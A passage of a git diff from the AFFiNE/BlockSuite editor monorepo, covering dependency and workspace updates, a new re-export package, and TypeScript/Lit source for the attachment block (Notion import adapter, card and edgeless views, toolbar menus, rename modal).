index d5165426f2314fc3c2388e64841e7cd6498a92a9..4bb2e5a8b79bb59f08a011af77e69af862312292 100644
--- a/src/utils/Doc.js
+++ b/src/utils/Doc.js
@@ -20,7 +20,7 @@ import * as map from 'lib0/map'
import * as array from 'lib0/array'
import * as promise from 'lib0/promise'
-export const generateNewClientId = random.uint32
+export const generateNewClientId = random.uint53
/**
* @typedef {Object} DocOpts
-934
View File
File diff suppressed because one or more lines are too long
+934
View File
File diff suppressed because one or more lines are too long
+1 -1
View File
@@ -12,4 +12,4 @@ npmPublishAccess: public
npmPublishRegistry: "https://registry.npmjs.org"
yarnPath: .yarn/releases/yarn-4.5.1.cjs
yarnPath: .yarn/releases/yarn-4.6.0.cjs
Generated
+1129 -408
View File
File diff suppressed because it is too large Load Diff
+39 -28
View File
@@ -1,36 +1,47 @@
[workspace]
members = [
"./packages/backend/native",
"./packages/common/native",
"./packages/frontend/native",
"./packages/frontend/native/schema"
members = [
"./packages/backend/native",
"./packages/common/native",
"./packages/frontend/mobile-native",
"./packages/frontend/native",
"./packages/frontend/native/nbstore",
"./packages/frontend/native/schema",
"./packages/frontend/native/sqlite_v1",
]
resolver = "2"
[workspace.dependencies]
affine_common = { path = "./packages/common/native" }
anyhow = "1"
chrono = "0.4"
dotenv = "0.15"
file-format = { version = "0.26", features = ["reader"] }
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "7", features = ["serde"] }
once_cell = "1"
parking_lot = "0.12"
rand = "0.8"
rayon = "1.10"
serde = "1"
serde_json = "1"
sha3 = "0.10"
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "tls-rustls"] }
tiktoken-rs = "0.6"
tokio = "1.37"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }
affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
anyhow = "1"
base64-simd = "0.8"
chrono = "0.4"
criterion2 = { version = "2", default-features = false }
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
homedir = "0.3"
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "8", features = ["serde"] }
objc2 = "0.6"
objc2-foundation = "0.3"
once_cell = "1"
parking_lot = "0.12"
rand = "0.9"
rayon = "1.10"
serde = "1"
serde_json = "1"
sha3 = "0.10"
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "tls-rustls"] }
thiserror = "2"
tiktoken-rs = "0.6"
tokio = "1.37"
uniffi = "0.29"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }
[profile.dev.package.sqlx-macros]
opt-level = 3
+2
View File
@@ -127,6 +127,8 @@ AFFiNE now provides pre-built [templates](https://affine.pro/templates) from our
Welcome to the AFFiNE blog section! Here, youll find the latest insights, tips, and guides on how to maximize your experience with AFFiNE and AFFiNE AI, the leading Canvas AI tool for flexible note-taking and creative organization.
- [vision board template](https://affine.pro/blog/8-free-printable-vision-board-templates-examples-2023)
- [ai homework helper](https://affine.pro/blog/ai-homework-helper)
- [vision board maker](https://affine.pro/blog/vision-board-maker)
- [itinerary template](https://affine.pro/blog/free-customized-travel-itinerary-planner-templates)
- [one pager template](https://affine.pro/blog/top-12-one-pager-examples-how-to-create-your-own)
- [cornell notes template](https://affine.pro/blog/the-cornell-notes-template-and-system-learning-tips)
+102
View File
@@ -0,0 +1,102 @@
{
"name": "@blocksuite/affine",
"description": "BlockSuite for Affine",
"type": "module",
"scripts": {
"build": "tsc --build --verbose",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/block-std": "workspace:*",
"@blocksuite/blocks": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts",
"./block-std": "./src/block-std/index.ts",
"./block-std/gfx": "./src/block-std/gfx.ts",
"./global": "./src/global/index.ts",
"./global/utils": "./src/global/utils.ts",
"./global/env": "./src/global/env.ts",
"./global/exceptions": "./src/global/exceptions.ts",
"./global/di": "./src/global/di.ts",
"./global/types": "./src/global/types.ts",
"./store": "./src/store/index.ts",
"./store/test": "./src/store/test.ts",
"./inline": "./src/inline/index.ts",
"./inline/consts": "./src/inline/consts.ts",
"./inline/types": "./src/inline/types.ts",
"./blocks": "./src/blocks/index.ts",
"./blocks/schemas": "./src/blocks/schemas.ts",
"./sync": "./src/sync/index.ts"
},
"typesVersions": {
"*": {
"effects": [
"dist/effects.d.ts"
],
"block-std": [
"dist/block-std/index.d.ts"
],
"block-std/gfx": [
"dist/block-std/gfx.d.ts"
],
"global": [
"dist/global/index.d.ts"
],
"global/utils": [
"dist/global/utils.d.ts"
],
"global/env": [
"dist/global/env.d.ts"
],
"global/exceptions": [
"dist/global/exceptions.d.ts"
],
"global/di": [
"dist/global/di.d.ts"
],
"global/types": [
"dist/global/types.d.ts"
],
"store": [
"dist/store/index.d.ts"
],
"inline": [
"dist/inline/index.d.ts"
],
"inline/consts": [
"dist/inline/consts.d.ts"
],
"inline/types": [
"dist/inline/types.d.ts"
],
"blocks": [
"dist/blocks/index.d.ts"
],
"blocks/schemas": [
"dist/blocks/schemas.d.ts"
],
"sync": [
"dist/sync/index.d.ts"
]
}
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
}
@@ -0,0 +1 @@
export * from '@blocksuite/block-std/gfx';
@@ -0,0 +1 @@
export * from '@blocksuite/block-std';
@@ -0,0 +1 @@
export * from '@blocksuite/blocks';
@@ -0,0 +1 @@
export * from '@blocksuite/blocks/schemas';
+5
View File
@@ -0,0 +1,5 @@
import { effects as blocksEffects } from '@blocksuite/blocks/effects';
export function effects() {
blocksEffects();
}
+1
View File
@@ -0,0 +1 @@
export * from '@blocksuite/global/di';
+1
View File
@@ -0,0 +1 @@
export * from '@blocksuite/global/env';
@@ -0,0 +1 @@
export * from '@blocksuite/global/exceptions';
@@ -0,0 +1 @@
export * from '@blocksuite/global';
@@ -0,0 +1 @@
export * from '@blocksuite/global/types';
@@ -0,0 +1 @@
export * from '@blocksuite/global/utils';
+1
View File
@@ -0,0 +1 @@
export {};
@@ -0,0 +1 @@
export * from '@blocksuite/inline/consts';
@@ -0,0 +1 @@
export * from '@blocksuite/inline';
@@ -0,0 +1 @@
export * from '@blocksuite/inline/types';
+3
View File
@@ -0,0 +1,3 @@
/* eslint-disable @typescript-eslint/no-restricted-imports */
export * from '@blocksuite/store';
+6
View File
@@ -0,0 +1,6 @@
export {
createAutoIncrementIdGenerator,
TestDoc,
TestMeta,
TestWorkspace,
} from '@blocksuite/store/test';
+1
View File
@@ -0,0 +1 @@
export * from '@blocksuite/sync';
+17
View File
@@ -0,0 +1,17 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"rootDir": "./src",
"outDir": "./dist",
"tsBuildInfoFile": "./dist/tsconfig.tsbuildinfo"
},
"include": ["./src"],
"references": [
{ "path": "../../framework/block-std" },
{ "path": "../../blocks" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../framework/store" },
{ "path": "../../framework/sync" }
]
}
@@ -0,0 +1,46 @@
{
"name": "@blocksuite/affine-block-attachment",
"description": "Attachment block for BlockSuite.",
"type": "module",
"scripts": {
"build": "tsc",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-block-surface": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.11",
"file-type": "^20.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts"
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
}
@@ -0,0 +1,115 @@
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import {
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
FetchUtils,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import { getFilenameFromContentDisposition } from '@blocksuite/affine-shared/utils';
import { sha } from '@blocksuite/global/utils';
import { getAssetName, nanoid } from '@blocksuite/store';
export const attachmentBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
{
flavour: AttachmentBlockSchema.model.flavour,
toMatch: o => {
return (
HastUtils.isElement(o.node) &&
o.node.tagName === 'figure' &&
!!HastUtils.querySelector(o.node, '.source')
);
},
fromMatch: () => false,
toBlockSnapshot: {
enter: async (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { assets, walkerContext } = context;
if (!assets) {
return;
}
const embededFigureWrapper = HastUtils.querySelector(o.node, '.source');
let embededURL = '';
if (embededFigureWrapper) {
const embedA = HastUtils.querySelector(embededFigureWrapper, 'a');
embededURL =
typeof embedA?.properties.href === 'string'
? embedA.properties.href
: '';
}
if (embededURL) {
let blobId = '';
let name = '';
let type = '';
let size = 0;
if (!FetchUtils.fetchable(embededURL)) {
const embededURLSplit = embededURL.split('/');
while (embededURLSplit.length > 0) {
const key = assets
.getPathBlobIdMap()
.get(decodeURIComponent(embededURLSplit.join('/')));
if (key) {
blobId = key;
break;
}
embededURLSplit.shift();
}
const value = assets.getAssets().get(blobId);
if (value) {
name = getAssetName(assets.getAssets(), blobId);
size = value.size;
type = value.type;
}
} else {
const res = await fetch(embededURL).catch(error => {
console.warn('Error fetching embed:', error);
return null;
});
if (!res) {
return;
}
const resCloned = res.clone();
name =
getFilenameFromContentDisposition(
res.headers.get('Content-Disposition') ?? ''
) ??
(embededURL.split('/').at(-1) ?? 'file') +
'.' +
(res.headers.get('Content-Type')?.split('/').at(-1) ?? 'blob');
const file = new File([await res.blob()], name, {
type: res.headers.get('Content-Type') ?? '',
});
size = file.size;
type = file.type;
blobId = await sha(await resCloned.arrayBuffer());
assets?.getAssets().set(blobId, file);
await assets?.writeToBlob(blobId);
}
walkerContext
.openNode(
{
type: 'block',
id: nanoid(),
flavour: AttachmentBlockSchema.model.flavour,
props: {
name,
size,
type,
sourceId: blobId,
},
children: [],
},
'children'
)
.closeNode();
walkerContext.skipAllChildren();
}
},
},
fromBlockSnapshot: {},
};
export const AttachmentBlockNotionHtmlAdapterExtension =
BlockNotionHtmlAdapterExtension(attachmentBlockNotionHtmlAdapterMatcher);
@@ -0,0 +1,296 @@
import { getEmbedCardIcons } from '@blocksuite/affine-block-embed';
import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { HoverController } from '@blocksuite/affine-components/hover';
import {
AttachmentIcon16,
getAttachmentFileIcon,
} from '@blocksuite/affine-components/icons';
import { Peekable } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import {
type AttachmentBlockModel,
AttachmentBlockStyles,
} from '@blocksuite/affine-model';
import {
FileSizeLimitService,
ThemeProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import { BlockSelection, TextSelection } from '@blocksuite/block-std';
import { Slice } from '@blocksuite/store';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { property, state } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { ref } from 'lit/directives/ref.js';
import { styleMap } from 'lit/directives/style-map.js';
import { AttachmentOptionsTemplate } from './components/options.js';
import { AttachmentEmbedProvider } from './embed.js';
import { styles } from './styles.js';
import { checkAttachmentBlob, downloadAttachmentBlob } from './utils.js';
@Peekable()
export class AttachmentBlockComponent extends CaptionedBlockComponent<AttachmentBlockModel> {
static override styles = styles;
protected _isDragging = false;
protected _isResizing = false;
protected _whenHover: HoverController | null = new HoverController(
this,
({ abortController }) => {
const selection = this.host.selection;
const textSelection = selection.find(TextSelection);
if (
!!textSelection &&
(!!textSelection.to || !!textSelection.from.length)
) {
return null;
}
const blockSelections = selection.filter(BlockSelection);
if (
blockSelections.length > 1 ||
(blockSelections.length === 1 &&
blockSelections[0].blockId !== this.blockId)
) {
return null;
}
return {
template: AttachmentOptionsTemplate({
block: this,
model: this.model,
abortController,
}),
computePosition: {
referenceElement: this,
placement: 'top-start',
middleware: [flip(), offset(4)],
autoUpdate: true,
},
};
}
);
blockDraggable = true;
protected containerStyleMap = styleMap({
position: 'relative',
width: '100%',
margin: '18px 0px',
});
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
convertTo = () => {
return this.std
.get(AttachmentEmbedProvider)
.convertTo(this.model, this._maxFileSize);
};
copy = () => {
const slice = Slice.fromModels(this.doc, [this.model]);
this.std.clipboard.copySlice(slice).catch(console.error);
toast(this.host, 'Copied to clipboard');
};
download = () => {
downloadAttachmentBlob(this);
};
embedded = () => {
return this.std
.get(AttachmentEmbedProvider)
.embedded(this.model, this._maxFileSize);
};
open = () => {
if (!this.blobUrl) {
return;
}
window.open(this.blobUrl, '_blank');
};
refreshData = () => {
checkAttachmentBlob(this).catch(console.error);
};
protected get embedView() {
return this.std
.get(AttachmentEmbedProvider)
.render(this.model, this.blobUrl, this._maxFileSize);
}
private _selectBlock() {
const selectionManager = this.host.selection;
const blockSelection = selectionManager.create(BlockSelection, {
blockId: this.blockId,
});
selectionManager.setGroup('note', [blockSelection]);
}
override connectedCallback() {
super.connectedCallback();
this.refreshData();
this.contentEditable = 'false';
if (!this.model.style) {
this.doc.withoutTransact(() => {
this.doc.updateBlock(this.model, {
style: AttachmentBlockStyles[1],
});
});
}
this.model.propsUpdated.on(({ key }) => {
if (key === 'sourceId') {
// Reset the blob url when the sourceId is changed
if (this.blobUrl) {
URL.revokeObjectURL(this.blobUrl);
this.blobUrl = undefined;
}
this.refreshData();
}
});
// Workaround for https://github.com/toeverything/blocksuite/issues/4724
this.disposables.add(
this.std.get(ThemeProvider).theme$.subscribe(() => this.requestUpdate())
);
// this is required to prevent iframe from capturing pointer events
this.disposables.add(
this.selected$.subscribe(selected => {
this._showOverlay = this._isResizing || this._isDragging || !selected;
})
);
// this is required to prevent iframe from capturing pointer events
this.handleEvent('dragStart', () => {
this._isDragging = true;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
});
this.handleEvent('dragEnd', () => {
this._isDragging = false;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
});
}
override disconnectedCallback() {
if (this.blobUrl) {
URL.revokeObjectURL(this.blobUrl);
}
super.disconnectedCallback();
}
override firstUpdated() {
// lazy bindings
this.disposables.addFromEvent(this, 'click', this.onClick);
}
protected onClick(event: MouseEvent) {
// the peek view need handle shift + click
if (event.defaultPrevented) return;
event.stopPropagation();
this._selectBlock();
}
override renderBlock() {
const { name, size, style } = this.model;
const cardStyle = style ?? AttachmentBlockStyles[1];
const theme = this.std.get(ThemeProvider).theme;
const { LoadingIcon } = getEmbedCardIcons(theme);
const titleIcon = this.loading ? LoadingIcon : AttachmentIcon16;
const titleText = this.loading ? 'Loading...' : name;
const infoText = this.error ? 'File loading failed.' : humanFileSize(size);
const fileType = name.split('.').pop() ?? '';
const FileTypeIcon = getAttachmentFileIcon(fileType);
const embedView = this.embedView;
return html`
<div
${this._whenHover ? ref(this._whenHover.setReference) : nothing}
class="affine-attachment-container"
style=${this.containerStyleMap}
>
${embedView
? html`<div class="affine-attachment-embed-container">
${embedView}
<div
class=${classMap({
'affine-attachment-iframe-overlay': true,
hide: !this._showOverlay,
})}
></div>
</div>`
: html`<div
class=${classMap({
'affine-attachment-card': true,
[cardStyle]: true,
loading: this.loading,
error: this.error,
unsynced: false,
})}
>
<div class="affine-attachment-content">
<div class="affine-attachment-content-title">
<div class="affine-attachment-content-title-icon">
${titleIcon}
</div>
<div class="affine-attachment-content-title-text">
${titleText}
</div>
</div>
<div class="affine-attachment-content-info">${infoText}</div>
</div>
<div class="affine-attachment-banner">${FileTypeIcon}</div>
</div>`}
</div>
`;
}
@state()
protected accessor _showOverlay = true;
@property({ attribute: false })
accessor allowEmbed = false;
@property({ attribute: false })
accessor blobUrl: string | undefined = undefined;
@property({ attribute: false })
accessor downloading = false;
@property({ attribute: false })
accessor error = false;
@property({ attribute: false })
accessor loading = false;
override accessor useCaptionEditor = true;
}
declare global {
interface HTMLElementTagNameMap {
'affine-attachment': AttachmentBlockComponent;
}
}
@@ -0,0 +1,72 @@
import { EdgelessLegacySlotIdentifier } from '@blocksuite/affine-block-surface';
import type { HoverController } from '@blocksuite/affine-components/hover';
import { AttachmentBlockStyles } from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { toGfxBlockComponent } from '@blocksuite/block-std';
import { styleMap } from 'lit/directives/style-map.js';
import { AttachmentBlockComponent } from './attachment-block.js';
export class AttachmentEdgelessBlockComponent extends toGfxBlockComponent(
AttachmentBlockComponent
) {
protected override _whenHover: HoverController | null = null;
override blockDraggable = false;
get slots() {
return this.std.get(EdgelessLegacySlotIdentifier);
}
override connectedCallback(): void {
super.connectedCallback();
this._disposables.add(
this.slots.elementResizeStart.on(() => {
this._isResizing = true;
this._showOverlay = true;
})
);
this._disposables.add(
this.slots.elementResizeEnd.on(() => {
this._isResizing = false;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
})
);
}
override onClick(_: MouseEvent) {
return;
}
override renderGfxBlock() {
const { style$ } = this.model;
const cardStyle = style$.value ?? AttachmentBlockStyles[1];
const width = EMBED_CARD_WIDTH[cardStyle];
const height = EMBED_CARD_HEIGHT[cardStyle];
const bound = this.model.elementBound;
const scaleX = bound.w / width;
const scaleY = bound.h / height;
this.containerStyleMap = styleMap({
width: `${width}px`,
height: `${height}px`,
transform: `scale(${scaleX}, ${scaleY})`,
transformOrigin: '0 0',
overflow: 'hidden',
});
return this.renderPageContent();
}
}
declare global {
interface HTMLElementTagNameMap {
'affine-edgeless-attachment': AttachmentEdgelessBlockComponent;
}
}
@@ -0,0 +1,57 @@
import { SurfaceBlockModel } from '@blocksuite/affine-block-surface';
import { FileDropConfigExtension } from '@blocksuite/affine-components/drop-indicator';
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import {
isInsideEdgelessEditor,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { addAttachments, addSiblingAttachmentBlocks } from './utils.js';
export const AttachmentDropOption = FileDropConfigExtension({
flavour: AttachmentBlockSchema.model.flavour,
onDrop: ({ files, targetModel, placement, point, std }) => {
// generic attachment block for all files except images
const attachmentFiles = files.filter(
file => !file.type.startsWith('image/')
);
if (!attachmentFiles.length) return false;
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
if (targetModel && !matchModels(targetModel, [SurfaceBlockModel])) {
addSiblingAttachmentBlocks(
std.host,
attachmentFiles,
maxFileSize,
targetModel,
placement
).catch(console.error);
return true;
}
if (isInsideEdgelessEditor(std.host)) {
const gfx = std.get(GfxControllerIdentifier);
point = gfx.viewport.toViewCoordFromClientCoord(point);
addAttachments(std, attachmentFiles, point).catch(console.error);
std.getOptional(TelemetryProvider)?.track('CanvasElementAdded', {
control: 'canvas:drop',
page: 'whiteboard editor',
module: 'toolbar',
segment: 'toolbar',
type: 'attachment',
});
return true;
}
return false;
},
});
@@ -0,0 +1,23 @@
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { AttachmentBlockNotionHtmlAdapterExtension } from './adapters/notion-html.js';
import { AttachmentDropOption } from './attachment-service.js';
import {
AttachmentEmbedConfigExtension,
AttachmentEmbedService,
} from './embed.js';
export const AttachmentBlockSpec: ExtensionType[] = [
FlavourExtension('affine:attachment'),
BlockViewExtension('affine:attachment', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-attachment`
: literal`affine-attachment`;
}),
AttachmentDropOption,
AttachmentEmbedConfigExtension(),
AttachmentEmbedService,
AttachmentBlockNotionHtmlAdapterExtension,
];
@@ -0,0 +1,77 @@
import {
CopyIcon,
DeleteIcon,
DownloadIcon,
DuplicateIcon,
RefreshIcon,
} from '@blocksuite/affine-components/icons';
import type { MenuItemGroup } from '@blocksuite/affine-components/toolbar';
import { cloneAttachmentProperties } from '../utils.js';
import type { AttachmentToolbarMoreMenuContext } from './context.js';
export const BUILT_IN_GROUPS: MenuItemGroup<AttachmentToolbarMoreMenuContext>[] =
[
{
type: 'clipboard',
items: [
{
type: 'copy',
label: 'Copy',
icon: CopyIcon,
disabled: ({ doc }) => doc.readonly,
action: ctx => ctx.blockComponent.copy(),
},
{
type: 'duplicate',
label: 'Duplicate',
icon: DuplicateIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ doc, blockComponent, close }) => {
const model = blockComponent.model;
const prop: { flavour: 'affine:attachment' } = {
flavour: 'affine:attachment',
...cloneAttachmentProperties(model),
};
doc.addSiblingBlocks(model, [prop]);
close();
},
},
{
type: 'reload',
label: 'Reload',
icon: RefreshIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ blockComponent, close }) => {
blockComponent.refreshData();
close();
},
},
{
type: 'download',
label: 'Download',
icon: DownloadIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ blockComponent, close }) => {
blockComponent.download();
close();
},
},
],
},
{
type: 'delete',
items: [
{
type: 'delete',
label: 'Delete',
icon: DeleteIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ doc, blockComponent, close }) => {
doc.deleteBlock(blockComponent.model);
close();
},
},
],
},
];
@@ -0,0 +1,45 @@
import { MenuContext } from '@blocksuite/affine-components/toolbar';
import type { AttachmentBlockComponent } from '../attachment-block.js';
export class AttachmentToolbarMoreMenuContext extends MenuContext {
override close = () => {
this.abortController.abort();
};
get doc() {
return this.blockComponent.doc;
}
get host() {
return this.blockComponent.host;
}
get selectedBlockModels() {
if (this.blockComponent.model) return [this.blockComponent.model];
return [];
}
get std() {
return this.blockComponent.std;
}
constructor(
public blockComponent: AttachmentBlockComponent,
public abortController: AbortController
) {
super();
}
isEmpty() {
return false;
}
isMultiple() {
return false;
}
isSingle() {
return true;
}
}
@@ -0,0 +1,229 @@
import {
CaptionIcon,
DownloadIcon,
EditIcon,
} from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
cloneGroups,
getMoreMenuConfig,
renderGroups,
renderToolbarSeparator,
} from '@blocksuite/affine-components/toolbar';
import {
type AttachmentBlockModel,
defaultAttachmentProps,
} from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { Bound } from '@blocksuite/global/utils';
import { ArrowDownSmallIcon, MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { join } from 'lit/directives/join.js';
import { repeat } from 'lit/directives/repeat.js';
import type { AttachmentBlockComponent } from '../attachment-block.js';
import { BUILT_IN_GROUPS } from './config.js';
import { AttachmentToolbarMoreMenuContext } from './context.js';
import { RenameModal } from './rename-model.js';
import { styles } from './styles.js';
export function attachmentViewToggleMenu({
block,
callback,
}: {
block: AttachmentBlockComponent;
callback?: () => void;
}) {
const model = block.model;
const readonly = model.doc.readonly;
const embedded = model.embed;
const viewType = embedded ? 'embed' : 'card';
const viewActions = [
{
type: 'card',
label: 'Card view',
disabled: readonly || !embedded,
action: () => {
const style = defaultAttachmentProps.style!;
const width = EMBED_CARD_WIDTH[style];
const height = EMBED_CARD_HEIGHT[style];
const bound = Bound.deserialize(model.xywh);
bound.w = width;
bound.h = height;
model.doc.updateBlock(model, {
style,
embed: false,
xywh: bound.serialize(),
});
callback?.();
},
},
{
type: 'embed',
label: 'Embed view',
disabled: readonly || embedded || !block.embedded(),
action: () => {
block.convertTo();
callback?.();
},
},
];
return html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="Switch view"
.justify=${'space-between'}
.labelHeight=${'20px'}
.iconContainerWidth=${'110px'}
>
<div class="label">
<span style="text-transform: capitalize">${viewType}</span>
view
</div>
${ArrowDownSmallIcon({ width: '16px', height: '16px' })}
</editor-icon-button>
`}
>
<div data-size="small" data-orientation="vertical">
${repeat(
viewActions,
button => button.type,
({ type, label, action, disabled }) => html`
<editor-menu-action
aria-label=${label}
data-testid=${`link-to-${type}`}
?data-selected=${type === viewType}
?disabled=${disabled}
@click=${action}
>
${label}
</editor-menu-action>
`
)}
</div>
</editor-menu-button>
`;
}
export function AttachmentOptionsTemplate({
block,
model,
abortController,
}: {
block: AttachmentBlockComponent;
model: AttachmentBlockModel;
abortController: AbortController;
}) {
const std = block.std;
const editorHost = block.host;
const readonly = model.doc.readonly;
const context = new AttachmentToolbarMoreMenuContext(block, abortController);
const groups = getMoreMenuConfig(std).configure(cloneGroups(BUILT_IN_GROUPS));
const moreMenuActions = renderGroups(groups, context);
const buttons = [
// preview
// html`
// <editor-icon-button aria-label="Preview" .tooltip=${'Preview'}>
// ${ViewIcon}
// </editor-icon-button>
// `,
readonly
? nothing
: html`
<editor-icon-button
aria-label="Rename"
.tooltip=${'Rename'}
@click=${() => {
abortController.abort();
const renameAbortController = new AbortController();
createLitPortal({
template: RenameModal({
model,
editorHost,
abortController: renameAbortController,
}),
computePosition: {
referenceElement: block,
placement: 'top-start',
middleware: [flip(), offset(4)],
// It has a overlay mask, so we don't need to update the position.
// autoUpdate: true,
},
abortController: renameAbortController,
});
}}
>
${EditIcon}
</editor-icon-button>
`,
attachmentViewToggleMenu({
block,
callback: () => abortController.abort(),
}),
readonly
? nothing
: html`
<editor-icon-button
aria-label="Download"
.tooltip=${'Download'}
@click=${() => block.download()}
>
${DownloadIcon}
</editor-icon-button>
`,
readonly
? nothing
: html`
<editor-icon-button
aria-label="Caption"
.tooltip=${'Caption'}
@click=${() => block.captionEditor?.show()}
>
${CaptionIcon}
</editor-icon-button>
`,
html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="More"
.tooltip=${'More'}
.iconSize=${'20px'}
>
${MoreVerticalIcon()}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
${moreMenuActions}
</div>
</editor-menu-button>
`,
];
return html`
<style>
${styles}
</style>
<editor-toolbar class="affine-attachment-toolbar">
${join(
buttons.filter(button => button !== nothing),
renderToolbarSeparator
)}
</editor-toolbar>
`;
}
@@ -0,0 +1,92 @@
import { ConfirmIcon } from '@blocksuite/affine-components/icons';
import { toast } from '@blocksuite/affine-components/toast';
import type { AttachmentBlockModel } from '@blocksuite/affine-model';
import type { EditorHost } from '@blocksuite/block-std';
import { html } from 'lit';
import { createRef, ref } from 'lit/directives/ref.js';
import { renameStyles } from './styles.js';
export const RenameModal = ({
editorHost,
model,
abortController,
}: {
editorHost: EditorHost;
model: AttachmentBlockModel;
abortController: AbortController;
}) => {
const inputRef = createRef<HTMLInputElement>();
// Fix auto focus
setTimeout(() => inputRef.value?.focus());
const originalName = model.name;
const nameWithoutExtension = originalName.slice(
0,
originalName.lastIndexOf('.')
);
const originalExtension = originalName.slice(originalName.lastIndexOf('.'));
const includeExtension =
originalExtension.includes('.') &&
originalExtension.length <= 7 &&
// including the dot
originalName.length > originalExtension.length;
let fileName = includeExtension ? nameWithoutExtension : originalName;
const extension = includeExtension ? originalExtension : '';
const onConfirm = () => {
const newFileName = fileName + extension;
if (!newFileName) {
toast(editorHost, 'File name cannot be empty');
return;
}
model.doc.updateBlock(model, {
name: newFileName,
});
abortController.abort();
};
const onInput = (e: InputEvent) => {
fileName = (e.target as HTMLInputElement).value;
};
const onKeydown = (e: KeyboardEvent) => {
e.stopPropagation();
if (e.key === 'Escape' && !e.isComposing) {
abortController.abort();
return;
}
if (e.key === 'Enter' && !e.isComposing) {
onConfirm();
return;
}
};
return html`
<style>
${renameStyles}
</style>
<div
class="affine-attachment-rename-overlay-mask"
@click="${() => abortController.abort()}"
></div>
<div class="affine-attachment-rename-container">
<div class="affine-attachment-rename-input-wrapper">
<input
${ref(inputRef)}
type="text"
.value=${fileName}
@input=${onInput}
@keydown=${onKeydown}
/>
<span class="affine-attachment-rename-extension">${extension}</span>
</div>
<editor-icon-button
class="affine-confirm-button"
.iconSize=${'24px'}
@click=${onConfirm}
>
${ConfirmIcon}
</editor-icon-button>
</div>
`;
};
@@ -0,0 +1,101 @@
